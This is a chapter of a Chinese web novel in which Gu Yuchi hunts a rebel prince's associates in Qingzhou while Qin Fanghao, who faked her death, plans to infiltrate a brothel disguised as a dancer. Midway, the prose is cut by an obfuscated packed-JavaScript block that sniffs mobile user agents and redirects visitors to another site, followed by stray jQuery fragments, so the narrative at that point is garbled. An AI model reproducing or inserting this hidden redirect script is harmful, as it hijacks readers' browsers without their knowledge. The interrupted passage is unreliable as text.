42. 第四十二章

作品:《假死后死对头发疯了(穿书)

    刺史府。


    一个风姿绰约的女人蒙着面纱,跃跃欲试想离开房间,可惜被侍卫牢牢守着,半步踏不出房门。


    守在门口的侍卫道:“刺史大人有公务要忙,等他有空了自然会来见您。”


    女子一双柳叶眉微微蹙起,满是忧愁,她低声哀求道:“请让我见一见刺史大人,求您通融一下。”


    侍卫面无表情道:“您现在最重要的事是好好看着孩子,不要被人察觉到您在这儿,待在屋里我们才能保护好您。”


    女子轻咬下唇,眼中闪过一丝畏惧。


    屋内传来孩子的哭声,女子听到动静,连忙跑到屋内。


    她抱起正在哭泣的小男孩,轻轻哄着。


    慢慢的,孩子在她的怀里睡着了,女子看着怀中的孩子,眼中犹豫不定。


    前些日子,丫鬟来照看孩子时,她给了丫鬟些银子,叫她帮忙打听府里的动静。


    黄州的事已经传遍了,得知安亲王被抓的那一日,女子大惊失色,下意识想要逃命。


    慌乱中想起安亲王嘱咐她的话,说若迫不得已,可以请青州刺史庇佑。


    安亲王还给了她一封密信,嘱咐她一定不要被人发现,必要时可以保她一命。


    女子趁夜色带着孩子去了刺史府,刺史果然答应可以给一处藏身之地。


    如今却把她拘禁了起来!


    女子心中弥漫起恐惧,这些天她不断想着,安亲王已经倒台,会不会自己也会被杀人灭口。


    她想见一见刺史大人,可是连门都出不去!


    女子眼中闪过一抹狠色。


    是夜,顾语迟见了一直在青州潜伏的探子。


    探子将获得的情报如实禀明。


    顾语迟微微曲起修长的手指,轻轻叩着桌面。


    据探子所言,那女子进入刺史府后再没出现过,他们派人找机会暗地里买通刺史府的人打探消息,在刺史府最深处,有一间房被紧紧看守着,有时能听到婴儿的啼哭声。


    他们趁夜色潜入,发现果然如此。


    看来盛泽决定将那女人拘禁起来,以此来要挟安亲王了。


    那女人若活着,安亲王定然不敢将他抖搂出来。


    但是...安亲王不在了就不好说了。


    顾语迟道:“想办法传消息到那女子那里,说安亲王不日将问斩,这之后,刺史便要杀了她。”


    手下道了声是。


    探子又道:“我们在刺史府周围守着,发现前几日,刺史悄悄接见了一个陌生男子,那人从前从未出现过,身形矮小。那日他午时到了刺史府,直到夜间才出来。”


    顾语迟道:“人如今在哪里?”


    探子道:“寻芳楼。”


    顾语迟淡淡道:“看好他。有什么动静告诉我。”


    众人离开后,顾语迟在屋中静坐了片刻。


    他推开门,离开了客栈。


    暗卫见他出了门,融入夜色中紧紧跟随他。


    顾语迟漫无目的逛着,他已经许久没有过这样的时光了。


    从前秦芳好疑惑怎么每次都能碰到他,其实是他有意为之。


    他知道秦芳好闲不住,喜欢出去闲逛,在夜市上常常能见到她的身影。


    于是他办完公后,也试着循着她的脚步。


    他运气很好,十有八次能逮到秦芳好。


    顾语迟从前一直想不明白,夜市日日都是那些,有何好逛的?


    但他在身后遥遥看着秦芳好,看她对那些寻常小玩意儿大惊小怪,看她吃遍小吃摊然后直呼过瘾,看她和陌生人都能聊得哈哈大笑。


    顾语迟才有一些懂了,也许,她喜欢的是人间烟火气。


    秦芳好走后,盛京却好像全是她的身影,顾语迟被仇恨和痛苦淹没,躲避般的陷入复仇的阴影中。


    从前在书院时,秦芳好便想来青州游玩,可惜功课繁忙,没能寻到机会。


    他也算替她走着一趟,顾语迟心道。


    顾语迟慢慢走着,走到一个卖面具的小摊贩前,看着上面稀奇古怪的面具,想着不如带回去一个,带给秦芳好。


    “顾...顾语迟?”一个有些难以置信而又刻意压低的声音在旁边响起。


    顾语迟抬眼,一个身着水青色衣裳的女子有些惊讶地看着她。


    见他有反应,颜书音心中大惊。


    此人竟然真是顾语迟,他...他如今的样子叫她有些不敢认!


    顾语迟还是那张极为俊美的脸,只不过整个人显得有些阴沉,眉眼沉沉,像是被一片乌云笼罩住了。


    他穿着一身黑衣,周身气质冷冽,叫人有些不敢跟他对视。


    顾语迟表情淡漠疏离,一双漆黑的眸子像看陌生人一样。


    颜书音解释道:“我是颜书音啊,你还记得我吗?从前我们一起在允州书院上学。”


    顾语迟颔首,冲她微微点头:“幸会。”


    他没再说什么,颜书音想到从连舟那里听到的消息,心道顾语迟竟然真的到此处了!


    她不敢透露自己知道这些,只装作普通同门一般与他寒暄。


    “你来青州办事吗?”


    顾语迟道:“访亲。”


    颜书音心想这幅冷漠的样子倒是一如从前。


    他们从前便不太熟稔,或者说,顾语迟跟谁也不太熟的样子。


    见他不愿多说什么,颜书音便寻了个借口离开了。


    顾语迟看着她离去的背影,总觉得有一丝古怪。


    颜书音顾不上在外面闲逛,急忙找到秦芳好。


    秦芳好刚沐浴完,见她大晚上急忙过来,以为发生了什么要紧事。


    颜书音道:“芳好,你猜我见到了谁?”


    秦芳好一头雾水:“总归不是二皇子吧...你也没见过他...其他人的话,谁会让你这么急?”


    颜书音等不及她琢磨,脱口而出:“是顾语迟!”


    秦芳好的手顿在空中。


    她慢慢转过头,微微睁大双眼:“顾语迟??你确定?”


    颜书音抓住她的手:“是!我同他说了几句话!他说他来访亲,但我觉得他是因为黄州一事来的!”


    秦芳好眼中忽然闪过一丝慌乱,在她最急的时候她也没流露出过这样的情绪。


    颜书音道:“我一开始险些都没认出他来!你不知道,他真是变了好多!他看起来太凶了,跟他说了两句话我都战战兢兢的,感觉再说两句就要暴露了。”


    秦芳好敲敲头:“他应当是为黄州一事而来。这下


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856506|155164||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    麻烦了,不能叫他发现我。”


    颜书音道:“为何?有他在,我们不是多一个帮手吗?”


    秦芳好也解释不清,从理性的角度来说,找到顾语迟一起查盛泽一事可能更好。


    可是...


    听颜书音描述这般的顾语迟,她不知怎的总觉得有些心虚。


    当皇帝的权臣,应该就是这般气势吧?应当不是因为她假死才这样吧...


    秦芳好脑子乱了一瞬,她只能告诉颜书音暂且先观察一番再做决定。


    送走了颜书音后,秦芳好坐在床上,重重叹了口气。


    她掏出脖颈上挂的那块玉佩,低垂下双目,眼中闪过复杂神色。


    秦芳好拍了拍自己的脸,叫自己清醒一点。


    昨日,她收到线人的消息,说他们在黄州一直盯着的那个男子近日来了青州。


    当初,秦芳好只叫人打探那个在白泉真府上与二皇子见面的那个中年男子。


    顺着这条线,秦芳好的线人发现他一直与一个瘦小的男子频繁接触。


    此人虽然没有一官半职,但他总是游走在黄州各路官员之间,秦芳好断定他是二皇子的人。


    黄州出事后,此人躲藏了一段时间。


    如今他到了青州,顾语迟也在此时而来…


    难不成,顾语迟也发现二皇子这边的猫腻?


    秦芳好有些泄气,还是朝廷的效率比较高。


    但她更想亲手报仇。


    黄州来的男子如今住在寻芳楼,秦芳好咬唇沉思,想着如何去探听消息。


    此人不像那个中年男子那般愚钝,他十分警惕,有好几次秦芳好的线人都跟丢了他。


    秦芳好一头倒在床上,看着漆黑的天花板,久久陷入沉思。


    看来此事还得找颜书音和连舟商量才是。


    第二日,秦芳好与颜书音将此事告诉了连舟。


    连舟有些惊讶:“顾语迟?是查黄州安亲王一案的顾语迟吗?”


    颜书音点点头。


    连舟摸着下巴道:“他竟然来了青州...看样子,他应当是悄悄来的,我父亲这边根本没提到过这事。”


    秦芳好道:“嗯,定然是准备像黄州那样,抓他们的个措手不及。”


    连舟道:“你待怎样?”


    秦芳好道:“我准备扮作舞姬,混入寻芳楼。”


    连舟皱起眉:“何苦这般大费周章,找暗卫岂不是更稳妥?”


    秦芳好道:“此人警惕心很强,但他有个缺点,就是极为好色。”


    连舟眉头紧紧锁起,眼中无声抗议。


    秦芳好道:“无妨,我自然会保护好自己。但我也怕出什么意外,所以这才叫你们来。”


    她将计划细细说来,连舟不情不愿道:“好吧,这样还差不多。但是一想到你要牺牲色相,我就浑身难受。”


    他灵机一动:“我男扮女装如何?”


    秦芳好和颜书音默默对视一眼。


    秦芳好想象了一下那个样子,忍不住笑道:“他怕是不喜欢你这么高大的女子。”


    连舟“呵”一声,翻了个白眼。


    秦芳好拍拍手:“好了,计划就是这样的,明晚我们就按照我说的来,有什么情况及时联络。”